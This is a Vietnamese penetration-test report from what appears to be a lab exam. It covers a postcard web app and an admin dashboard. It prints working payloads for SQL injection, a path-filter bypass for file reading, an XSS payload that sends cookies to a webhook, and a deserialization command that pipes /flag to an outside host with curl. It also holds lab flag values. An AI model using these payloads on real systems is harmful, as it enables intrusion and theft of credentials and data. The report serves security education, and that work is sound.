---
# System prepended metadata

title: Report CBJS

---

# I. Tổng quan

## 1. Mục tiêu
Báo cáo này nhằm liệt kê các lỗ hổng bảo mật và các vấn đề liên quan được phát hiện trong quá trình kiểm thử ứng dụng `Online Postcard Maker - Website tạo postcard chúc mừng ngày Quốc tế Phụ nữ 8/3.`

## 2. Đối tượng
Các mục tiêu kiểm thử bao gồm:
- `https://159.223.86.13:443`
- `http://159.223.86.13:8081`

## 3. Phạm vi
Phạm vi kiểm thử bao gồm toàn bộ chức năng của ứng dụng web Online Postcard Maker, được triển khai tại hai đối tượng trên.

Quá trình kiểm thử được thực hiện trong môi trường Cyberjutsu Academy cung cấp, không gây ảnh hưởng đến hệ thống thực tế. Phương pháp kiểm thử áp dụng là White-box. Các công cụ và kỹ thuật kiểm thử tuân thủ quy định của bài kiểm tra, đảm bảo tính hợp pháp và an toàn. Ứng dụng không được gắn với phiên bản cụ thể nào trong quá trình kiểm thử.

## 4. Quy ước đặt mã lỗ hổng

Các lỗ hổng được phát hiện trong quá trình kiểm thử sẽ được đặt mã định danh theo quy ước sau:
- **MPO-[Số thứ tự]**: Lỗ hổng trên `159.223.86.13:443` (Make Postcard Online).
- **GD-[Số thứ tự]**: Lỗ hổng trên `159.223.86.13:8081` (Greetings Dashboard).

Số thứ tự được đánh tăng dần theo thứ tự liên quan của các lỗ hổng, dựa trên luồng khai thác thực tế.
## 5. Bảng tổng hợp các lỗ hổng

<center>

![Lỗ hổng tại almira.exam.cyberjutsu-lab.tech](https://hackmd.io/_uploads/BJ5usOcsyg.png)

_Lỗ hổng tại `159.223.86.13:443`_

</center>

<br>
<br>

<center>

![Screenshot 2025-03-09 at 09.26.47](https://hackmd.io/_uploads/Hy8u3d5jke.png)

_Lỗ hổng tại `159.223.86.13:8081`_

</center>

# II. Chi tiết các lỗ hổng bảo mật

## **1. GD-01: Unauthorized Source Code Access Due to Misconfigured `.git` Directory** [<span style="color: #F19E68;">High</span>]

### Description and Impact

Tại website `159.223.86.13:8081`, mặc dù truy cập trực tiếp `159.223.86.13:8081/.git` trả về mã trạng thái 403 (Forbidden), các thư mục con trong `.git` (như `.git/config/`, `.git/HEAD/`,...) lại trả về mã 200 (OK) khi sử dụng công cụ scan directory. Điều này cho phép kẻ tấn công tải xuống các tệp Git và khôi phục toàn bộ mã nguồn của ứng dụng. Việc lộ mã nguồn có thể dẫn đến rò rỉ thông tin nhạy cảm như cấu hình cơ sở dữ liệu, logic bảo mật và tạo điều kiện cho các cuộc tấn công khác.

### Root Cause Analysis

Lỗ hổng xảy ra do cấu hình không đầy đủ của máy chủ web Apache tại `159.223.86.13:8081`. Tệp `.htaccess` sử dụng `Options -Indexes` để ngăn liệt kê thư mục, dẫn đến truy cập `/.git` trả về mã 403 (Forbidden). Tuy nhiên, không có quy tắc nào trong `.htaccess` chặn truy cập trực tiếp vào các tệp con của thư mục `.git` (như `.git/config/`). Các quy tắc `RewriteCond %{REQUEST_FILENAME} !-f` và `!-d` chỉ chuyển hướng yêu cầu không hợp lệ đến `index.php`, nhưng không áp dụng cho các tệp Git tồn tại thực tế. Điều này cho phép attacker sử dụng công cụ scan directory để truy cập và tải xuống các tệp Git, từ đó khôi phục mã nguồn. Nguyên nhân chính là do lập trình viên không thêm quy tắc chặn `.git` hoặc xóa thư mục này khỏi môi trường sản xuất sau khi triển khai.
<center>
    
![code](https://hackmd.io/_uploads/ry8Wnacj1x.png)
_File .htaccess_

</center>

### Steps to reproduce

Đầu tiên, ta sử dụng công cụ `dirsearch` với lệnh:
```shell=
dirsearch -u http://159.223.86.13:8081/
```

Kết quả:
<center>
    
![a](https://hackmd.io/_uploads/r1TsAT5ikl.jpg)
_Scan Directory_

</center>

Vậy ta đã confirm mặc dù `.git` bị chặn, nhưng vẫn có thể truy cập và tải xuống cái file con. Tiếp theo ta sử dụng công cụ `git-dumper` để pull source code về:

```shell=
git-dumper http://159.223.86.13:8081/.git ~/Downloads/WPT
```
<center>

![image](https://hackmd.io/_uploads/HJG--CqsJg.png)
_Công cụ git-dumper_    
</center>

Ta đã thành công lấy được source code của cả `almira.exam.cyberjutsu-lab.tech` và `159.223.86.13:8081`

<center>
    
![image](https://hackmd.io/_uploads/S1bGMCqs1g.png)
_Source Code_
</center>

### Recommendations

Để khắc phục lỗ hổng truy cập mã nguồn qua thư mục `.git`, ứng dụng nên được cấu hình để chặn truy cập trực tiếp vào thư mục này bằng `.htaccess` hoặc cấu hình máy chủ web. Ngoài ra, thư mục `.git` không nên tồn tại trong môi trường production sau khi triển khai.

### References

- https://github.com/arthaud/git-dumper

## **2. MPO-01: Server-Side Request Forgery (SSRF) via `image` parameter at `/api/image/resize`** [<span style="color: #F19E68;">High</span>]

### Description and Impact

Tham số `image` tại endpoint `/api/image/resize` cho phép thực thi SSRF, ép server gửi các yêu cầu HTTP đến các mục tiêu độc hại do attacker chỉ định. Lỗ hổng này có thể bị khai thác để truy cập dịch vụ nội bộ, quét mạng nội bộ, hoặc tương tác với các hệ thống không được bảo vệ, gây rò rỉ thông tin nhạy cảm hoặc tạo tiền đề cho các cuộc tấn công tiếp theo.

### Root Cause Analysis

Lỗ hổng SSRF xuất phát từ việc endpoint `/api/image/resize` không kiểm soát đầy đủ tham số `image`. Mã nguồn trong `imageController.js` sử dụng `axios` để gửi yêu cầu HTTP/HTTPS tới URL do người dùng cung cấp mà không giới hạn phạm vi đích đến. Dù có kiểm tra giao thức (`file:`, `http:`, `https:`), hàm không chặn các địa chỉ nội bộ (như `localhost`, `127.0.0.1`) hoặc mạng nhạy cảm, cho phép kẻ tấn công ép máy chủ thực hiện yêu cầu đến các mục tiêu độc hại.

<center>

![image](https://hackmd.io/_uploads/BJw4wCcsJg.png)
_Mã nguồn imageController.js (những phần chính)_
</center>

### Steps to reproduce

Trước tiên, ta truy cập vào `https://159.223.86.13/home`
<center>

![159.223.86.13/home](https://hackmd.io/_uploads/B1CkKC5jyg.png)
</center>

Tại Burp Suite, ta bắt được cái gói tin
![image](https://hackmd.io/_uploads/SyVUYR5j1x.png)

Với endpoint `api/image/resize?image=`, ta chuyển sang Repeater để thử nghiệm tham số `image`
![image](https://hackmd.io/_uploads/Hy0AF05oke.png)
![image](https://hackmd.io/_uploads/rkEN9A9iJl.png)

Tiếp theo, ta sẽ thay đổi giá trị của tham số `image` thành đường dẫn tới webhook, đại diện cho URL độc hại từ attacker
![webhook](https://hackmd.io/_uploads/Sym3q05s1l.png)
![image](https://hackmd.io/_uploads/Byqyj0csyg.png)

Tại webhook, một yêu cầu GET từ server xuất hiện, chứng minh server đã bị ép gửi request đến URL độc hại.
![Screenshot 2025-03-09 at 16.10.14](https://hackmd.io/_uploads/rJxXiAciJe.png)

Nếu URL độc hại là dịch vụ nội bộ, attacker có thể khai thác thêm để truy cập tài nguyên nhạy cảm.

### Recommendations

- Sử dụng whitelist lọc URL đầu vào, chỉ cho phép đến các địa chỉ hợp lệ.
- Chỉ cho phép các giao thức HTTP/HTTPS.
- Giới hạn phạm vi truy cập, ngăn truy cập ngoài phạm vi cho phép.
- Chỉ chấp nhận ảnh hợp lệ, kiểm tra URL và xác thực MIME type để đảm bảo nội dung thực sự là hình ảnh.

## **3. MP0-02: Local File Inclusion (LFI) via `image` parameter at `/api/image/resize`, allowing arbitrary file read** [<span style="color: #FF6161;">Critical</span>]

### Description and Impact

Lỗ hổng MPO-01 (SSRF) cho phép sử dụng các giao thức `file:` để truy xuất tệp tin, dẫn đến khai thác Local File Inclusion (LFI). Điều này có thể bị lợi dụng để đọc các tệp hệ thống chứa thông tin nhạy cảm như cấu hình ứng dụng, thông tin xác thực, ... .


### Root Cause Analysis

Lỗ hổng xuất phát từ `MPO-01` không kiểm soát đầu vào, cho phép kẻ tấn công sử dụng các giao thức tùy ý để truy xuất tệp hệ thống. Việc thiếu xác thực và lọc đầu vào khiến ứng dụng dễ bị khai thác LFI.

### Steps to reproduce

Từ tham số `image` tại endpoint `/api/image/resize`, ta thay đổi giao thức và file muốn truy cập
![SCR-20250309-olzb](https://hackmd.io/_uploads/rJfhCAcokl.png)

Ta thấy response với nội dung `File is not allowed`, trong mã nguồn ta biết được với giao thức `file:`, khi `filePath` có chứa cụm `/etc/passwd` thì sẽ trả response là `File is not allowed`
<center>

![image](https://hackmd.io/_uploads/ByK4ykis1e.png)
</center>

Vậy ta chỉ cần thay đổi `file:///etc/passwd` thành `file:///etc/./passwd`, cùng chức năng nhưng có thể bypass được lớp validate
<center>

![image](https://hackmd.io/_uploads/rJeRxyjjJl.png)
</center>

`Flag 1: CBJS{b5f1d0a8539d3e2609864cc37ac82144}`

### Recommendations
- Tránh sử dụng tên tệp từ đầu vào người dùng, thay bằng mã định danh (ID) từ cơ sở dữ liệu hoặc ánh xạ URL an toàn.
- Chặn giao thức `file:` chỉ cho phép `http:` và `https:`.
- Chuẩn hóa đường dẫn tệp bằng để loại bỏ `./` và `../`, ngăn bypass kiểm tra.
- Thêm whitelist cho các đường dẫn hợp lệ
- Kiểm tra nghiêm ngặt tham số `image` bằng regex.

### References
- https://www.ultrared.ai/blog/in-the-wild-encounters-from-random-ssrf-to-lfi-aws-takeover
- https://www.invicti.com/learn/local-file-inclusion-lfi/

## **4. MPO-03: Blind SQL Injection via `category` parameter at `/api/wishlist` due to Improper Input Handling** [<span style="color: #FF6161;">Critical</span>]

### Description and Impact

Lỗ hổng Blind SQL Injection tồn tại trong tham số `category` tại endpoint `/api/wishlist`, cho phép attacker inject SQL code để thao túng database. Vì đây là dạng Blind, hệ thống không trả về lỗi trực tiếp, nhưng attacker có thể sử dụng kỹ thuật như time-based hoặc boolean-based để trích xuất dữ liệu nhạy cảm, chiếm quyền tài khoản hoặc thậm chí xóa/sửa dữ liệu quan trọng, gây ảnh hưởng nghiêm trọng đến tính bảo mật và toàn vẹn của hệ thống.

### Root Cause Analysis

Lỗ hổng xảy ra do tham số `category` trong `Wish.getWishlistByCategory` (`wish.js`) được ghép trực tiếp vào truy vấn SQL (`LIKE "%' + category + '%"`) mà không sử dụng prepared statement. Dù có kiểm tra bằng regex (`forbiddenRegex`), cơ chế này không đủ mạnh để chặn các payload tinh vi, cho phép kẻ tấn công thao túng cơ sở dữ liệu qua kỹ thuật Blind SQLi. Việc thiếu input sanitization và xử lý không an toàn trong truy vấn là nguyên nhân chính.

<center>

![image](https://hackmd.io/_uploads/HyIFI1ij1x.png)
_Mã nguồn wish.js xử lý tham số category_
</center>

### Steps to reproduce

Đầu tiên, ta bắt gói tin
<center>
    
![image](https://hackmd.io/_uploads/Hk3tv1jo1g.png)
</center>

Send to Repeater và bắt đầu thử nghiệm
<center>

![image](https://hackmd.io/_uploads/H1Vhvyjjye.png)
</center>

Câu query tại mã nguồn là
```javascript=
'SELECT category FROM wishlist WHERE category LIKE "%' + category + '%" LIMIT 1'
```
Vì tham số `category` nằm trong dấu nhảy kép `" "`, nên ta sẽ thử đóng dấu nhảy kép và comment những phần phía sau, payload:

```shell=
" -- -
```
![image](https://hackmd.io/_uploads/BJi8qyisye.png)

Khi đưa payload vào tham số `category`, câu truy vấn sẽ thành
```javascript=
SELECT category FROM wishlist WHERE category LIKE "%" -- -%" LIMIT 1
```
Server vẫn trả ra success vì `%` giống wildcard trong LIKE, tự động khớp với bất kỳ chuỗi nào trong cột category. Ta đã có thể truyền vào các payload để thao túng database, giờ ta sẽ confirm chắc chắn có lỗ hổng SQL Injection bằng Boolean-based, payload:
```shell=
test" OR 1=1 -- -
```
<center>
    
![image](https://hackmd.io/_uploads/rkwURyosyg.png)
</center>

Câu truy vấn sẽ trở thành:
```javascript=
SELECT category FROM wishlist WHERE category LIKE "test" OR 1=1 -- -%" LIMIT 1
```
Ta thêm `test` trước dấu `"` để nó là giá trị không tồn tại trong bảng category, nó sẽ so sánh `1=1` và trả ra giá trị đúng, còn khi điều kiện sai, ví dụ như `1=2`, nó sẽ trả ra lỗi
![image](https://hackmd.io/_uploads/ByRKAJosyx.png)
 Vậy ta đã confirm được SQL Injection, giờ cần một điều kiện logic để ta có thể lấy thông tin từ database.

Đầu tiên ta sẽ lấy tên database, chúng ta vẫn chưa biết database mà server đang sử dụng, những sau khi thử lần đầu tôi đã biết đó là MySQL.

Payload đầu tiên sẽ là:
```shell=
test" OR (ASCII(SUBSTR((SELECT database()), {i}, 1)) & {j}) > 0 -- -
```
Kỹ thuật blind sql tôi sử dụng là SQL-Anding, sử dụng toán thử AND bitwise để so sánh nhanh hơn. Biến `i` được tăng dần để lấy các kí tự từ tên database hiện tại, `j` đại diện cho 8 bit để so sánh.
<center>
    
![image](https://hackmd.io/_uploads/BkkmMejj1l.png)
_Python Code Exploit Blind SQL Injection_
</center>

Kết quả được, tên database hiện tại là `womengiftshop`
<center>
    
![image](https://hackmd.io/_uploads/B1UuGljsyl.png)
</center>

Tiếp theo ta sẽ lấy tên các bảng trong database này, đoạn code vẫn giống, ta chỉ thay payload cho phù hợp
Payload:
```shell=
test" OR (ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema="womangiftshop" LIMIT 1 OFFSET {offset}), {i}, 1)) & {j}) > 0 -- -
```
Kết quả:
<center>
    
![image](https://hackmd.io/_uploads/H1El4eoiyl.png)
</center>

Ta đã thấy bảng `flags`, giờ ta sẽ lấy tên các cột trong bảng `flags`
Payload:
```shell=
test" OR (ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name="flags" LIMIT 1 OFFSET {offset}), {i}, 1)) & {j}) > 0 -- -
```
Kết quả:
<center>

![image](https://hackmd.io/_uploads/SkSFEesj1l.png)
</center>

Và cuối cùng ta chỉ cần lấy giá trị từ cột `flag`
Payload:
```shell=
test" OR (ASCII(SUBSTR((SELECT flag FROM flags LIMIT 1), {i}, 1)) & {j}) > 0 -- -
```
Kết quả:
<center>
    
![image](https://hackmd.io/_uploads/BkolBxjsJx.png)
</center>

`Flag 5: CBJS{cd52aa83408a580279d7025b639631ec}`

### Attachments
- `postcard.py`
### Recommendations

- Sử dụng prepared statement để thay thế ghép chuỗi SQL, ngăn chặn SQL Injection
- Không ghép untrusted data trực tiếp vào truy vấn.
- Giới hạn tham số bằng whitelist các giá trị hợp lệ từ cơ sở dữ liệu.
- Cải tiến phương thức validate.


### References
- https://aircconline.com/csit/papers/vol10/csit101909.pdf
- https://portswigger.net/web-security/sql-injection#how-to-prevent-sql-injection

## **5. MPO-04: JWT Token Forgery via Leaked Secret Key from Environment Variables at `/api/users/profile`**[<span style="color: #FF6161;">Critical</span>]

### Description and Impact

Từ lỗ hổng MPO-02, attacker có thể đọc tệp `/proc/self/environ` để lấy `JWT secret key`. Với khóa này, attacker tự ký `JWT token giả mạo`, cho phép truy cập endpoint `/api/users/profile` của bất kỳ người dùng nào, bao gồm admin. Điều này dẫn đến leo thang quyền hạn trong ứng dụng, đe dọa tính bảo mật và toàn vẹn của hệ thống.

### Root Cause Analysis

Lỗ hổng bắt nguồn từ việc JWT secret key (`process.env.JWT_TOKEN`) trong `JWTHelpers.js` bị lộ qua tệp `/proc/self/environ` do lỗi LFI từ MPO-02. Trong `authMiddleware.js`, hàm `verify` sử dụng secret key này để xác thực token mà không kiểm tra thêm các thuộc tính nào khác. Điều này cho phép kẻ tấn công tự ký `JWT token giả mạo` với bất kỳ `id` nào, vượt qua middleware `isAuth` và truy cập endpoint `/api/users/profile`. Nguyên nhân chính là quản lý yếu biến môi trường và thiếu biện pháp chống giả mạo token.

<center>

![image](https://hackmd.io/_uploads/Hy8tdeojyg.png)
_Mã nguồn JWTHelpers.js_
</center>

`SECRET_KEY` được lấy từ biến môi trường `process.env.JWT_TOKEN`. Hàm `verify` dùng `SECRET_KEY` để kiểm tra tính hợp lệ của `JWT token`. Nếu attacker có `SECRET_KEY`, họ có thể tự ký token giả mạo.

<center>

![image](https://hackmd.io/_uploads/SyfYYlss1g.png)
_Mã nguồn authMiddleware.js_
</center>

### Steps to reproduce

Ta quay lại với endpoint `/api/image/resize?image=`, ta sẽ đọc file `/proc/self/environ` trên hệ thống

<center>

![image](https://hackmd.io/_uploads/HJ2f9gijye.png)
</center>

Ta có thể thấy các thông tin quan trọng như `MYSQL_USER` và `MYSQL_PASSWORD`,... , nhưng ở đây ta quan tâm tới JWT Secret Key
<center
        
![image](https://hackmd.io/_uploads/S1-Lsljiyx.png)
></center>

Từ lỗi MPO-03, ta thấy có bảng `users`, có thể đọc được thông tin từ bảng đó để ký, vì hàm `isAuth` chỉ kiểm tra 3 trường là `id`, `username` và `email`

<center>
    
![image](https://hackmd.io/_uploads/rkN-6gjoye.png)
</center>

Ta sẽ lấy được thông tin từ các cột này và ký một `JWT Token giả mạo`
<center>
    
![image](https://hackmd.io/_uploads/B1WTalojke.png)
</center>

Khi truy cập `/api/users/profile`, ta sẽ thấy thông tin như `X-Access-Token` và các thông tin được trả về chính là account bản thân.

<center>
    
![image](https://hackmd.io/_uploads/ryJKRgijkg.png)
</center>

Giờ ta sẽ thay đổi giá trị `X-Access-Token` thành `JWT Token giả mạo` ta vừa tự ký

<center>
    
![image](https://hackmd.io/_uploads/HJLD1Wsj1x.png)
</center>

Vậy là ta đã exploit thành công, hơn nữa trước đó với endpoint `/api/users/update-profile`, tôi đã có thể đổi password của thầy luật với token giả mạo đó, nhưng nó đã bị fix sau đó

<center>

![image](https://hackmd.io/_uploads/SJ0eeWij1g.png)
</center>

### Attachments
- `jwt.js`

### Recommendations

- Lưu trữ JWT secret key trong tệp cấu hình an toàn thay vì biến môi trường dễ lộ qua `/proc/self/environ`.
- Thêm kiểm tra `issuer` và `audience` trong `JWTHelpers.verify()`

## **6. MPO-05: Insecure Direct Object Reference (IDOR) via Base64-Encoded `id` at `/api/postcard/{id}/detail` Allowing Unauthorized Access to Other Users' Postcards** [<span style="color: #F19E68;">High</span>]

### Description and Impact

Lỗ hổng IDOR tại endpoint `/api/postcard/{id}/detail` cho phép kẻ tấn công xem postcard của người dùng khác bằng cách thay đổi giá trị `id` mã hóa Base64. Điều này dẫn đến lộ thông tin cá nhân nhạy cảm trong postcard, vi phạm quyền riêng tư của người dùng.

### Root Cause Analysis

Lỗ hổng IDOR xảy ra do hàm `getDetailPostcard` trong `postcardController.js` không kiểm tra quyền sở hữu của người dùng đối với postcard. Tham số `id` được giải mã từ Base64 (`decodeBase64(id)`) và dùng trực tiếp trong `Postcard.findPostcardById` mà không so sánh `decodedId` hoặc `postcard.from_user_id` với `req.user.id` từ middleware xác thực. Điều này cho phép kẻ tấn công thay đổi `id` để truy cập postcard của bất kỳ người dùng nào, xuất phát từ thiếu cơ chế kiểm soát truy cập.

<center>
    
![image](https://hackmd.io/_uploads/rJeTMWsj1l.png)
</center>

### Steps to reproduce

Khi ấn vào lời chúc đã nhận tại profile, ta được điều hướng đến /postcard/{id}/detail trên trình duyệt, trong Burp Suite:

<center>

![image](https://hackmd.io/_uploads/B1ddQbjj1g.png)
</center>

Trong Repeater, ta có thể thấy `id` được base64

<center>
    
![image](https://hackmd.io/_uploads/rkkpQWjskg.png)
</center>

Giờ ta sẽ thay đổi thành `Postcard 1`

<center>
    
![image](https://hackmd.io/_uploads/SyQzEWojJe.png)
</center>

Vậy là ta có thể xem được postcard bất kì

`Flag 3: CBJS{d19a12ea8e66c6872c38d5568610e705}`

### Recommendations

- Thêm kiểm tra quyền sở hữu trong `getDetailPostcard`, so sánh `postcard.from_user_id` với `req.user.id` từ `isAuth`.
- Sử dụng UUID thay vì Base64-encoded id.

## **7. MPO-06: Stored XSS via Unsanitized `name` Field in Received Postcards** [<span style="color: #F19E68;">High</span>]

### Description and Impact

Lỗ hổng `Stored XSS` trong trường `name` cho phép kẻ tấn công chèn mã `JavaScript độc hại`, được lưu trữ trên server. Khi nạn nhân nhấp vào postcard nhận được, mã thực thi có thể đánh cắp cookie phiên hoặc thực hiện hành động khác, đe dọa bảo mật người dùng.

### Root Cause Analysis

Lỗ hổng Stored XSS xuất phát từ việc `updateUser` trong `userController.js` lưu trường `name` từ `req.body` vào bảng `users` mà không vệ sinh (sanitize), cho phép chèn mã `JavaScript`. Trong `getDetailPostcard` (`postcardController.js`), `user.name` được lấy từ `User.findById` và trả về thô qua JSON mà không escape. Khi hiển thị trên giao diện người nhận postcard, mã thực thi do thiếu xử lý an toàn ở cả đầu vào và đầu ra.

<center>
    
![image](https://hackmd.io/_uploads/Hy6KPZiiyg.png)
_Mã nguồn `userController.js` và `user.js`_
</center>

<center>

![image](https://hackmd.io/_uploads/S1Z-KZsoJx.png)
</center>

Phía frontend có thể render `name` ở raw HTML khiến đoạn mã được thực thi.

### Steps to reproduce

Trước tiên ta đổi tên account gửi đi (attacker) thành đoạn mã `JavaScript`, đoạn mã sẽ lấy cookie người nhận và gửi đến server ngoài, ở đây là webhook.

<center>
    
![image](https://hackmd.io/_uploads/SJRKsZsikl.png)
</center>

Ở đây `name` sẽ là payload:

```javascript=
<img/src="a"/onerror="fetch('url_to_webhook?cookie='+document.cookie)">
```

Trước đó khi tôi thử không có các dấu `/` hoặc `\` ở giữa các khoảng trắng, nó đều không hoạt động, có thể do một cơ chế nào đó tại phía frontend đã ngăn, nhưng khi thêm các dấu trên ta đã bypass được.

Tại phía account nạn nhân ban đầu chỉ có thư mặc định gửi thầy Nuật

<center>

![victim](https://hackmd.io/_uploads/S1r6Tbjsyx.png)
</center>

Ta sẽ quay lại account attacker, ta sẽ gửi lời chúc đến victim

<center>
    
![attacker](https://hackmd.io/_uploads/HJCN0Zijke.png)
</center>

Sau khi gửi thành công, bên phía victim sẽ nhận được lời chúc

<center>
    
![victim](https://hackmd.io/_uploads/HyAYCboike.png)
</center>

Hiện tại webhook chưa có request nào

<center>
    
![image](https://hackmd.io/_uploads/B1zaCbssJg.png)
</center>

Khi victim ấn mở lời chúc attacker, mã `JavaScript` từ `name` được thực thi, gửi cookie đến webhook

<center>
    
![image](https://hackmd.io/_uploads/ryAgJzjoJg.png)
</center>

Ở đây thành cookie trống có thể do admin đã đóng dịch vụ nào đó, giờ ta sẽ gửi đến admin là thầy Nuật một lời chúc

<center>
    
![image](https://hackmd.io/_uploads/rkPHkGiskx.png)
</center>

Sau đó tại webhook

<center>

![image](https://hackmd.io/_uploads/BklygGsj1g.png)
</center>

Vậy là ta đã lấy được cookie.

`Flag 2: CBJS{623e9465d52f4ca589ff14b6e4fa9b1a}`

### Recommendations

- Sanitize đầu vào
- Sử dụng Content Security Policy
- Xác thực và mã hóa đầu ra
- Sử dụng header phản hồi phù hợp

### References

- https://portswigger.net/web-security/cross-site-scripting


## **8. GD-02: PHP Insecure Deserialization in `/settings/load` Leading to Remote Code Execution (RCE)** [<span style="color: #FF6161;">Critical</span>]

### Description and Impact

Endpoint `/settings/load` thực hiện deserialize dữ liệu mà không có cơ chế xác thực hoặc kiểm soát đầu vào. Attacker có thể gửi payload chứa đối tượng độc hại, cho phép RCE, dẫn đến kiểm soát hoàn toàn máy chủ và đe dọa nghiêm trọng tính bảo mật của hệ thống.

### Root Cause Analysis

Lỗ hổng xuất phát từ việc hàm `load` trong `SettingsController.php` sử dụng `unserialize` trên dữ liệu từ file `settings_file` mà không giới hạn loại đối tượng được deserialize. Dữ liệu đầu vào chỉ được kiểm tra tên file (`.settings`) mà không xác minh nội dung hay yêu cầu xác thực, cho phép kẻ tấn công gửi payload serialized chứa đối tượng độc hại dẫn đến RCE khi PHP xử lý magic methods của đối tượng.

<center>

![image](https://hackmd.io/_uploads/rJttEMio1x.png)
</center>

### Steps to reproduce

Tại `159.223.86.13:8081/admin/dashboard` có 2 chức năng gồm backup và load, ta sẽ chọn backup để lấy file `backup.settings` về

<center>
    
![image](https://hackmd.io/_uploads/r1WiQzojkx.png)
</center>

Ban đầu file `backup.settings` chỉ có nội dung:

<center>
    
![image](https://hackmd.io/_uploads/ryE6NfjoJx.png)
</center>

Ta có thể thay đổi các đối tượng này thành đối tượng độc hại, đầu tiên ta cần tìm xem các sinks nguy hiểm dẫn tới thực thi OS Command như `system` hay `exec`

<center>

![image](https://hackmd.io/_uploads/r19zrzoskl.png)
</center>

Vậy ở class `Log` có các method chứa các sink nguy hiểm
Trong file `Log.php` ta có thể thấy method `destruct()`, ta biết method là một magic method sẽ tự động gọi khi kết thúc chương trình, ở đây nó tự động gọi method `clear`, nên ta sẽ xem luồng và tận dụng method `clear` này

<center>

![image](https://hackmd.io/_uploads/BJPprGio1x.png)
</center>

<center>
    
![image](https://hackmd.io/_uploads/ryU6vzij1x.png)
</center>

Ở file `Log.php` trên, ta thấy biến `$logPath` và `$logFile` hoàn toàn do ta kiểm soát, sau đó nó đi vào method `getLogFilePath()` để nối chuỗi với nhau thành `$logPaht/$logFile`, sau đó tại biến `$command` nó được nối vào câu lệnh cố định là `rm -f `, giờ ta chỉ cần thay đổi để mở rộng câu lệnh là có thể RCE

<center>

![image](https://hackmd.io/_uploads/B1O4uGsj1g.png)
</center>

Biến `$exploit` được khởi tạo thuộc class `Log` với 2 giá trị là `$logPath` và `$logFile`, tại đây:

- `$logPath` là `/tmp`

- `$logFile` là `a; $command` 

Khi đi vào system(), câu lệnh sẽ là:

```shell=
rm -f /tmp/a; cat /flag | curl -X POST --data-binary @- https://webhook.site/5fa59083-f0d0-4fed-9f10-030b63427fce
```

Vậy là câu lệnh đã được nối dài ra, sau khi remove một file không có tực, hệ thông sẽ cat file `/flag` và gửi tới webhook

Khi chạy code để lấy payload ta được:

<center>

![image](https://hackmd.io/_uploads/SJ1EFGoike.png)
</center>

Giờ ta sẽ paste vào file backup.settings và upload để server unserialize

<center>
    
![image](https://hackmd.io/_uploads/BJpwYziiJl.png)
</center>


<center>

![image](https://hackmd.io/_uploads/B1p0YGjokg.png)
</center>

Sau khi ấn open, file đã được load
<center>

![image](https://hackmd.io/_uploads/SyTgczis1e.png)
</center>

Và tại webhook, ta đã nhận được nội dung `/flag` từ server gửi đến

<center>
    
![image](https://hackmd.io/_uploads/SyVS5zsoyx.png)
</center>

`Flag 4: CBJS{9cb09bd29126358ae81e5db639d385bb}` 

### Attachments

- `gadget.php`

### Recommendations

- Tránh deserialize dữ liệu từ untrusted data
- Xác thực tính toàn vẹn của dữ liệu
- Hạn chế phạm vi được deserialize cho các class an toàn

### References

- https://portswigger.net/web-security/deserialization#how-to-prevent-insecure-deserialization-vulnerabilities

# III. Kết luận

Quá trình phân tích bảo mật đã phát hiện nhiều lỗ hổng nghiêm trọng trong ứng dụng. Những lỗ hổng này xuất phát từ việc thiếu kiểm soát đầu vào, xử lý dữ liệu không an toàn, và không áp dụng các biện pháp xác thực/phân quyền đầy đủ. Tác động tiềm tàng bao gồm lộ dữ liệu người dùng, leo thang đặc quyền, và kiểm soát máy chủ, đe dọa nghiêm trọng đến tính bảo mật và toàn vẹn của hệ thống.

<div style="text-align: right;">
    Trân trọng, @a.tt.om
</div>

